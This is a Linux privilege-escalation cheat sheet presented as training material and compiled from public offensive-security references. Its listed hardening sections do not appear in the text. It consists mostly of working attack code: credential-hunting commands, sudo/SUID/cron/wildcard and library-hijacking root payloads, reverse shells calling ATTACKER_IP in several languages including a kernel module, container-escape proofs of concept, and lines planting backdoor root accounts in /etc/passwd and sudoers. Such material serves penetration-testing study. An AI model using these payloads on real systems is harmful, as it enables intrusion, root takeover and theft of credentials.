Linux Exploitation & Hardening Deep Dive
Linux Exploitation & Hardening Deep Dive
CIPHER Training Material -- Compiled from HackTricks, GTFOBins, hardening-master, g0tmi1k, LinPEAS, kernel docs, and primary sources. Generated: 2026-03-14
TABLE OF CONTENTS
- Enumeration & Reconnaissance
- Kernel Exploitation
- SUDO Abuse
- SUID/SGID Exploitation
- GTFOBins -- Top 30 Dangerous Binaries
- Linux Capabilities Abuse
- Cron Job Exploitation
- Wildcard Injection
- LD_PRELOAD / LD_LIBRARY_PATH Hijacking
- Shared Library & PATH Hijacking
- Container Escapes (Docker/K8s)
- NFS Misconfiguration
- Interesting Groups
- File & Service Exploitation
- Kernel Hardening Parameters
- UFW & Firewall Hardening
- Auditd Configuration
- SSH Hardening
- Module & Filesystem Hardening
- Automated Enumeration Tools
1. Enumeration & Reconnaissance
OS & Kernel Information
# OS version
(cat /proc/version || uname -a) 2>/dev/null
lsb_release -a 2>/dev/null
cat /etc/os-release 2>/dev/null
# Kernel version (critical for kernel exploits)
cat /proc/version
uname -a
uname -mrs
# Environment variables (passwords, API keys)
(env || set) 2>/dev/null
echo $PATH
# System info
date 2>/dev/null
(df -h || lsblk)
lscpu
lpstat -a 2>/dev/null
Defense Enumeration
# AppArmor
aa-status 2>/dev/null || apparmor_status 2>/dev/null
# SELinux
sestatus 2>/dev/null
# Grsecurity
uname -r | grep "\-grsec" >/dev/null 2>&1
# ASLR (0 = disabled, 2 = full)
cat /proc/sys/kernel/randomize_va_space
# PaX
which paxctl-ng paxctl 2>/dev/null
# Execshield
grep "exec-shield" /etc/sysctl.conf
User Enumeration
id || (whoami && groups) 2>/dev/null
cat /etc/passwd | cut -d: -f1
cat /etc/passwd | grep "sh$" # Users with shells
awk -F: '($3 == "0") {print}' /etc/passwd # Root-equivalent users
who; w; users
last | tail
lastlog
# Groups for all users
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null); do id $i; done 2>/dev/null | sort
# Password policy
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
Process Enumeration
ps aux
ps -ef
top -n 1
# Check for electron/chromium debuggers (--inspect flag = privesc)
ps aux | grep -i inspect
# Enumerate useful binaries
which nmap aws nc ncat netcat wget curl ping gcc g++ make gdb base64 socat python python3 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
# Compilers available
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null)
Network Enumeration
cat /etc/hostname /etc/hosts /etc/resolv.conf
(ifconfig || ip a)
ip route
(arp -e || arp -a || ip neigh)
# Open ports -- find hidden internal services
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
ss -tulpn
# Iptables / nftables
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* 2>/dev/null)
sudo nft list ruleset 2>/dev/null
sudo ufw status verbose 2>/dev/null
# IP forwarding status
sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding 2>/dev/null
# Network namespaces
ip netns list 2>/dev/null
# Sniffing capability
timeout 1 tcpdump
which dumpcap && getcap "$(which dumpcap)"
File System Enumeration
# Mounted drives and credentials in fstab
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#"
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
# SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
# World-writable directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
# Files modified in last 5 minutes
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" 2>/dev/null
# Interesting files
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
# SSH keys
ls -la ~/.ssh/
cat ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa
# Database files
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
# Backup files
find /var /etc /bin /sbin /home /usr/local/bin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" \) 2>/dev/null
# Root-owned files in /home
find /home -user root 2>/dev/null
Credential Hunting
# Password files
cat /etc/passwd /etc/shadow /etc/shadow- /etc/gshadow 2>/dev/null
# Hashes in passwd (non-standard)
grep -v '^[^:]*:[x\*]' /etc/passwd 2>/dev/null
# History files
cat ~/.bash_history ~/.mysql_history ~/.nano_history 2>/dev/null
# Config files with passwords
find . -name "*.php" -print0 | xargs -0 grep -i -n "password" 2>/dev/null
grep -rli "password" /etc/ 2>/dev/null
# Process memory credentials
strings /dev/mem -n10 | grep -i PASS
2. Kernel Exploitation
Methodology
# 1. Identify kernel version
uname -a
cat /proc/version
# 2. Search for exploits
searchsploit "Linux Kernel"
searchsploit "Linux Kernel $(uname -r | cut -d'-' -f1)"
# 3. Use automated suggesters
# linux-exploit-suggester (https://github.com/mzet-/linux-exploit-suggester)
./linux-exploit-suggester.sh
# linux-exploit-suggester-2 (https://github.com/jondonas/linux-exploit-suggester-2)
perl linux-exploit-suggester-2.pl
# linux-exploit-suggester (Z-Labs) (https://github.com/The-Z-Labs/linux-exploit-suggester)
./les.sh
Notable Kernel Exploits
| CVE | Name | Affected Kernels | Notes |
|---|---|---|---|
| CVE-2016-5195 | DirtyCow | <= 3.19.0-73.8 | Race condition in COW, write to read-only mappings |
| CVE-2021-4034 | PwnKit | All polkit versions with pkexec | pkexec SUID local root |
| CVE-2022-0847 | DirtyPipe | 5.8 - 5.16.11 | Overwrite data in read-only files via pipe |
| CVE-2022-2588 | 5.x | Route table UAF | |
| CVE-2023-0386 | OverlayFS | 5.11 - 6.2 | OverlayFS privilege escalation |
| CVE-2023-32233 | 6.x | Netfilter nf_tables UAF | |
| CVE-2025-32463 | Chwoot | sudo 1.9.14-1.9.17 | sudo --chroot + nsswitch.conf |
DirtyCow Exploit
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow
Sudo Version Exploits
# Check sudo version
sudo -V | grep "Sudo ver"
# sudo < v1.8.28 (CVE-2019-14287)
sudo -u#-1 /bin/bash
# sudo 1.9.14-1.9.17 (CVE-2025-32463)
# Requires --chroot support and nsswitch.conf abuse
3. SUDO Abuse
Basic Enumeration
sudo -l # List allowed commands
sudo -V | grep "Sudo ver" # Version check for CVEs
cat /etc/sudoers 2>/dev/null # Direct sudoers read
ls -l /etc/sudoers /etc/sudoers.d/ # Check permissions
NOPASSWD Commands
If sudo -l shows NOPASSWD entries, check GTFOBins for shell escapes:
# Examples of dangerous NOPASSWD entries
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo less /etc/hosts # then type !/bin/sh
sudo mysql -e '! /bin/sh'
sudo env /bin/sh
sudo ftp # then type !/bin/sh
SETENV Abuse
# If SETENV is allowed, abuse PYTHONPATH
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
# LD_PRELOAD (if env_keep+=LD_PRELOAD)
# Create /tmp/pe.c:
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
sudo LD_PRELOAD=/tmp/pe.so <COMMAND>
# LD_LIBRARY_PATH (if env_keep+=LD_LIBRARY_PATH)
cat > /tmp/hijack.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /tmp/hijack.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
BASH_ENV Preserved via env_keep
# If env_keep includes BASH_ENV
cat > /dev/shm/shell.sh << 'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/somescript
Sudo PATH Hijacking
# If env_keep+=PATH or secure_path has writable entries
# And the sudo-allowed command uses relative paths internally
cat > ~/bin/free << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh # calls "free" without absolute path
bash -p
Sudo Token Reuse
Requirements: shell as user, user used sudo in last 15 min, ptrace_scope=0, gdb available.
# https://github.com/nongiach/sudo_inject
bash exploit.sh
/tmp/activate_sudo_token
sudo su
Sudo Hijacking
cat > /tmp/sudo << 'EOF'
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "$@"
EOF
chmod +x /tmp/sudo
echo 'export PATH=/tmp:$PATH' >> $HOME/.bashrc
Writable /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
Wildcard in Sudoers Path
# If: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/log/../../etc/shadow
# Or: use :e inside less to read other files
sudo less /var/log/anything
# less> :e /etc/shadow
4. SUID/SGID Exploitation
Discovery
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find all SGID binaries
find / -perm -2000 -type f 2>/dev/null
# Combined
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
# Check for unusual SUID binaries (compare against known-good)
find / -perm -4000 -type f 2>/dev/null | xargs ls -la
SUID Binary .so Injection
# Find missing shared objects
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
# If it loads from a writable path, create malicious .so:
cat > /tmp/libcalc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
EOF
gcc -shared -o /path/to/.config/libcalc.so -fPIC /tmp/libcalc.c
# Run the SUID binary
Shared Object Hijacking via RPATH/RUNPATH
# Check RPATH
readelf -d <suid_binary> | grep PATH
ldd <suid_binary>
# If RUNPATH points to writable directory:
cat > exploit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /development/libshared.so exploit.c
Function Export Override
# If SUID binary calls /usr/sbin/service
function /usr/sbin/service() {
cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p;
}
export -f /usr/sbin/service
# Run the SUID binary
Writable Script Called by SUID Wrapper
# Find SUID wrappers that call scripts
find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\.sh'
ls -l /usr/local/bin/backup.sh # Check if writable
# Exploit
echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p
5. GTFOBins -- Top 30 Dangerous Binaries
Reference: https://gtfobins.org/ (478+ documented binaries)
Tier 1: Full Shell + Reverse Shell + File R/W + Capabilities
| Binary | sudo | SUID | Shell | RevShell | File-Read | File-Write | Capabilities |
|---|---|---|---|---|---|---|---|
| bash | sudo bash |
bash -p |
Y | bash -c 'exec bash -i &>/dev/tcp/ATK/PORT <&1' |
Y | Y | - |
| python/python3 | sudo python -c 'import os; os.execl("/bin/sh","sh")' |
-p |
Y | Y | Y | Y | CAP_SETUID: os.setuid(0) |
| perl | sudo perl -e 'exec "/bin/sh"' |
- | Y | Y | Y | - | CAP_SETUID |
| ruby | sudo ruby -e 'exec "/bin/sh"' |
- | Y | Y | Y | Y | CAP_SETUID |
| php | sudo php -r 'system("/bin/sh");' |
Y | Y | Y | Y | Y | CAP_SETUID |
| node | sudo node -e 'require("child_process").spawn("/bin/sh",{stdio:[0,1,2]})' |
Y | Y | Y | Y | Y | CAP_SETUID |
| vim | sudo vim -c ':!sh' |
Y | Y (via :py, :lua, :!) | Y | Y | Y | - |
| gdb | sudo gdb -nx -ex '!/bin/sh' -ex quit |
Y | Y | Y | - | Y | CAP_SETUID |
Tier 2: Shell + File Operations
| Binary | Shell Escape | Key Technique |
|---|---|---|
| find | find . -exec /bin/sh \; -quit |
SUID: find . -exec /bin/sh -p \; -quit |
| awk | awk 'BEGIN {system("/bin/sh")}' |
Full command exec |
| less | less /etc/hosts then !/bin/sh |
Also: :e /etc/shadow to read files |
| more | more /etc/hosts then !/bin/sh |
Requires terminal smaller than content |
| tar | tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
Also: wildcard injection |
| zip | zip /tmp/t /etc/hosts -T -TT '/bin/sh #' |
Test hook abuse |
| env | env /bin/sh |
SUID: env /bin/sh -p |
| nmap | nmap --interactive then !/bin/sh (v2.02-5.21) |
Modern: --script for Lua exec |
| docker | docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh |
Full host root |
| mysql | sudo mysql -e '! /bin/sh' |
SQL shell escape |
| ftp | ftp then !/bin/sh |
Interactive shell escape |
| ssh | ssh -o ProxyCommand=';sh 0<&2 1>&2' x |
ProxyCommand abuse |
Tier 3: File Read/Write (Data Exfiltration)
| Binary | File Read | File Write |
|---|---|---|
| cp | cp /etc/shadow /tmp/shadow_copy |
cp malicious /etc/cron.d/evil |
| mv | Move files to readable locations | Overwrite system files |
| wget | wget -i /etc/shadow (exfil via DNS/HTTP) |
wget http://atk/payload -O /cron.d/evil |
| curl | curl file:///etc/shadow |
curl http://atk/payload -o /tmp/evil |
| gcc | gcc -x c -E /etc/shadow (preprocessor output) |
- |
| ed | ed /etc/shadow |
ed then write commands |
| mount | Mount host disk | Access full filesystem |
| strace | strace -o /dev/null /bin/sh |
Shell via strace |
| nc/netcat | File exfiltration over network | File upload |
| openssl | openssl enc -in /etc/shadow |
openssl s_server file write |
| nano | nano /etc/shadow |
Direct file editing |
Key GTFOBins One-Liners for Quick Reference
# Python shell with SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Python shell with CAP_SETUID
python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
# Perl reverse shell
perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Ruby with CAP_SETUID
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
# PHP shell
php -r 'pcntl_exec("/bin/sh", ["-p"]);'
# Node.js with CAP_SETUID
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
6. Linux Capabilities Abuse
Enumeration
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Check current process capabilities
cat /proc/self/status | grep Cap
capsh --print
# Decode hex capability values
capsh --decode=0000003fffffffff
Dangerous Capabilities and Exploitation
| Capability | Risk | Exploitation |
|---|---|---|
| CAP_SETUID | Critical | python -c 'import os; os.setuid(0); os.system("/bin/bash")' |
| CAP_SETGID | Critical | Change GID to root group |
| CAP_SYS_ADMIN | Critical | Mount filesystems, abuse cgroups, Docker escape |
| CAP_SYS_PTRACE | Critical | Inject shellcode into running processes, Docker escape |
| CAP_SYS_MODULE | Critical | Load/unload kernel modules |
| CAP_DAC_READ_SEARCH | High | Read any file on system |
| CAP_DAC_OVERRIDE | High | Bypass file read/write/execute permission checks |
| CAP_SYS_RAWIO | High | Direct I/O access to devices |
| CAP_NET_RAW | Medium | Packet sniffing, raw socket creation |
| CAP_NET_ADMIN | Medium | Network configuration changes |
| CAP_SYSLOG | Medium | Read kernel ring buffer |
| CAP_CHOWN | Medium | Change file ownership |
CAP_SYS_ADMIN Exploitation
# Mount attack -- mount modified passwd over real one
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
CAP_SYS_PTRACE -- Process Injection (Docker Escape)
# With gdb and CAP_SYS_PTRACE
gdb -p <PID_OF_HOST_PROCESS>
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")
CAP_SYS_MODULE -- Kernel Module Loading
// reverse-shell.c -- kernel module for reverse shell
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/ATTACKER/PORT 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Empty Capabilities -- Special Case
A binary that (1) is not owned by root, (2) has no SUID/SGID, but (3) has empty capabilities set (getcap myelf returns myelf =ep) will run as root.
7. Cron Job Exploitation
Discovery
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
systemctl list-timers --all
# Monitor processes with pspy
./pspy64
# Manual process monitoring (0.1s intervals for 1 minute)
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp
Cron PATH Hijacking
If /etc/crontab PATH includes writable directory before system dirs:
# PATH=/home/user:/usr/local/sbin:/usr/local/bin:...
# If cron runs: * * * * root overwrite.sh
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh
# Wait for execution, then:
/tmp/bash -p
Cron Script Overwriting
# If you can write to a script executed by root cron
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
# Wait for execution
/tmp/bash -p
Cron Symlink Attack
# If root cron uses a directory you can delete
ln -d -s /path/to/your/controlled/dir /path/to/cron/directory
Bash Arithmetic Expansion Injection
If a root cron parser reads untrusted log fields into arithmetic context:
# Injected field value in a log that root cron parses with (( total += count )):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# The command substitution runs as root during arithmetic evaluation
Invisible Cron Jobs
# Carriage return after comment hides the real job from visual inspection
#This is a comment\r* * * * * echo "Surprise!"
pg_basebackup SUID Preservation
# If root cron runs pg_basebackup against writable cluster directory:
cd /var/lib/postgresql/14/main
cp /bin/bash .
chmod 6777 bash
# After root backup runs:
/opt/backups/current/bash -p
8. Wildcard Injection
Concept
When a privileged script uses an unquoted wildcard *, the shell expands filenames before command execution. Filenames starting with - are interpreted as options.
tar Wildcard Injection (Most Common)
# Create files that become arguments to tar
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
# When root runs: tar -czf /root/backup.tgz *
# shell.sh executes as root
rsync Wildcard Injection
touch "-e sh shell.sh"
# When root runs: rsync -az * backup:/srv/
# shell.sh executes
chown/chmod --reference Injection
touch "--reference=/root/secretfile"
# When root runs: chown -R alice:alice *.php
# All files get ownership matching /root/secretfile
7z File List Injection
ln -s /etc/shadow root.txt
touch @root.txt
# When root runs: 7za a backup.7z -- *
# /etc/shadow contents leak via stderr
zip -TT Code Execution
# Create files named: -T and -TT <command>
# When root runs: zip out.zip <files>
# The -TT command executes
tcpdump -z Post-Rotation Hook
# If you can inject tcpdump arguments:
# -G 1 -W 1 -z /path/to/script.sh
# Forces immediate rotation and script execution
Vulnerable Binaries Quick Reference
| Binary | Abused Flag | Effect |
|---|---|---|
| tar | --checkpoint-action=exec= |
Command execution |
| rsync | -e sh shell.sh |
Shell via remote command |
| chown/chmod | --reference=FILE |
Permission/owner copy |
| 7z/7za | @file |
File content exfiltration |
| zip | -T -TT cmd |
Test hook command execution |
| bsdtar | --use-compress-program=/bin/sh |
Shell as compressor |
| scp | -S cmd |
Arbitrary program as ssh |
| git | -c core.sshCommand=cmd |
Command via SSH |
9. LD_PRELOAD / LD_LIBRARY_PATH Hijacking
LD_PRELOAD via sudo env_keep
// /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
sudo LD_PRELOAD=/tmp/pe.so <ANY_SUDO_ALLOWED_COMMAND>
LD_LIBRARY_PATH Hijacking
// library_path.c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
Security: When LD_PRELOAD is Ignored
- The loader disregards LD_PRELOAD when ruid != euid (SUID binaries)
- For SUID/SGID executables, only libraries in standard paths that are also SUID/SGID are preloaded
- LD_PRELOAD through sudo works ONLY when
env_keep+=LD_PRELOADis set
10. Shared Library & PATH Hijacking
ld.so.conf Hijacking
# Check library search paths
cat /etc/ld.so.conf
ls /etc/ld.so.conf.d/
# If writable, add your path and create malicious library
echo "/tmp/evil" >> /etc/ld.so.conf.d/evil.conf
# Place malicious .so in /tmp/evil/
ldconfig
RPATH Exploitation
# Check if binary has RPATH pointing to writable directory
readelf -d <binary> | egrep "NEEDED|RPATH"
ldd <binary>
# If RPATH includes writable dir, place malicious lib there
PATH Hijacking
# If SUID binary calls command without absolute path
export PATH=/tmp:$PATH
# Create /tmp/<command_name> with payload
echo '#!/bin/bash
cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /tmp/<command_name>
chmod +x /tmp/<command_name>
# Run the SUID binary
Python Library Hijacking
# If a Python script runs as root, and you can write to its directory or PYTHONPATH
# Create malicious os.py in the same directory:
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > os.py
systemd Relative Path Exploitation
# Check systemd PATH
systemctl show-environment
# If service uses relative paths:
# ExecStart=faraday-server
# And you can write to a systemd PATH directory, create backdoor:
echo '#!/bin/bash
/bin/bash -i >& /dev/tcp/ATTACKER/PORT 0>&1' > /writable/path/faraday-server
chmod +x /writable/path/faraday-server
11. Container Escapes (Docker/K8s)
Detection -- Am I in a Container?
# Check for Docker
ls -la /.dockerenv
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup | grep -i docker
hostname # Often random hex
# Check for Kubernetes
ls /var/run/secrets/kubernetes.io/
env | grep KUBERNETES
# Check for LXC
cat /proc/1/environ | grep -i lxc
grep -q 'container=lxc' /proc/1/environ
# Generic container detection
cat /proc/1/cgroup
ls /proc/1/ns/
Docker Socket Escape
# Find docker socket
find / -name docker.sock 2>/dev/null
ls -la /var/run/docker.sock
# Escape via CLI
docker run -it -v /:/host/ ubuntu chroot /host/ bash
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Escape via Docker API (no CLI)
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' \
http://localhost/containers/create
Privileged Container Escape -- Disk Mount
# In privileged container
fdisk -l
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
chroot /mnt/hola bash
Privileged Container Escape -- release_agent (CVE-2022-0492)
# PoC 1: Using existing cgroup release_agent
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
touch /o; echo $t/c > $d/release_agent
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
cat /o
# PoC 2: Mounting new cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
CAP_SYS_PTRACE Container Escape -- Process Injection
# With CAP_SYS_PTRACE and --pid=host
# Find host process, inject shellcode
gdb -p <HOST_PID>
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")
CAP_SYS_MODULE Container Escape -- Kernel Module
# Compile kernel module with reverse shell
# insmod reverse-shell.ko
CAP_SYS_ADMIN Container Escape -- Mount Host Disk
fdisk -l
mount /dev/sda1 /mnt/
cd /mnt
chroot ./ bash
# Now in host filesystem as root
containerd (ctr) Escape
# If ctr binary accessible
ctr image pull docker.io/library/alpine:latest
ctr run --mount type=bind,src=/,dst=/host,options=rbind -t docker.io/library/alpine:latest shell /bin/sh
chroot /host bash
runc Escape
# CVE-2019-5736 -- overwrite runc binary from container
# Research: https://github.com/Frichetten/CVE-2019-5736-PoC
Kubernetes Escape Vectors
# Service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# API server access
curl -k https://kubernetes.default/api/v1/ \
--header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
# If privileged service account, create privileged pod with hostPID, hostNetwork
Dangerous Capabilities for Container Escape
| Capability | Escape Method |
|---|---|
| CAP_SYS_ADMIN | Mount host disk, cgroup abuse |
| CAP_SYS_PTRACE | Inject into host processes |
| CAP_SYS_MODULE | Load kernel modules |
| CAP_DAC_READ_SEARCH | Read any host file |
| CAP_DAC_OVERRIDE | Write any host file |
| CAP_NET_RAW | ARP spoofing, packet capture |
| CAP_NET_ADMIN | Network namespace escape |
| CAP_SYS_RAWIO | Direct I/O to devices |
| CAP_SYSLOG | Read kernel ring buffer |
12. NFS Misconfiguration
Discovery
cat /etc/exports
showmount -e <target>
# Look for no_root_squash
grep "no_root_squash" /etc/exports
Exploitation -- no_root_squash
# On attacker machine (as root):
mkdir /tmp/pe
mount -t nfs <TARGET_IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
# On victim:
cd <SHARED_FOLDER>
./bash -p # ROOT shell
Exploitation -- C Payload
# On attacker:
cat > pwn.c << 'EOF'
int main(void) { setreuid(0,0); system("/bin/bash"); return 0; }
EOF
gcc pwn.c -o payload
mount -t nfs <TARGET_IP>:<SHARE> /tmp/pe
cp payload /tmp/pe/
chmod +s /tmp/pe/payload
# On victim:
./payload
13. Interesting Groups
| Group | Privilege | Exploitation |
|---|---|---|
| sudo/admin | Full sudo access | sudo su |
| wheel | Full sudo access | sudo su |
| docker | Docker daemon access | Mount host filesystem via container |
| lxd/lxc | LXC container management | Mount host filesystem via container |
| disk | Raw disk access | debugfs /dev/sda1 then read /etc/shadow |
| video | Framebuffer access | Screenshot current session |
| shadow | Read /etc/shadow | Crack password hashes |
| staff | Write to /usr/local | PATH hijacking of run-parts |
| adm | Read log files | Find credentials in logs |
Docker Group Exploitation
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
LXD Group Exploitation
# Import alpine image
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
# Host filesystem at /mnt/root
Staff Group -- run-parts Hijacking
# /usr/local/bin is in PATH before /usr/bin
cat > /usr/local/bin/run-parts << 'EOF'
#!/bin/bash
chmod 4777 /bin/bash
EOF
chmod +x /usr/local/bin/run-parts
# Trigger: SSH login or cron runs run-parts as root
/bin/bash -p
14. File & Service Exploitation
Writable /etc/passwd
# Generate password hash
openssl passwd -1 -salt hacker hacker
# or: mkpasswd -m SHA-512 hacker
# Add root user
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd
su hacker # password: hacker
# Or add passwordless root user (dangerous)
echo 'dummy::0:0::/root:/bin/bash' >> /etc/passwd
su - dummy
Writable .service Files
# If you can write to a .service file:
# Set ExecStart=/tmp/script.sh
# script.sh contains your payload
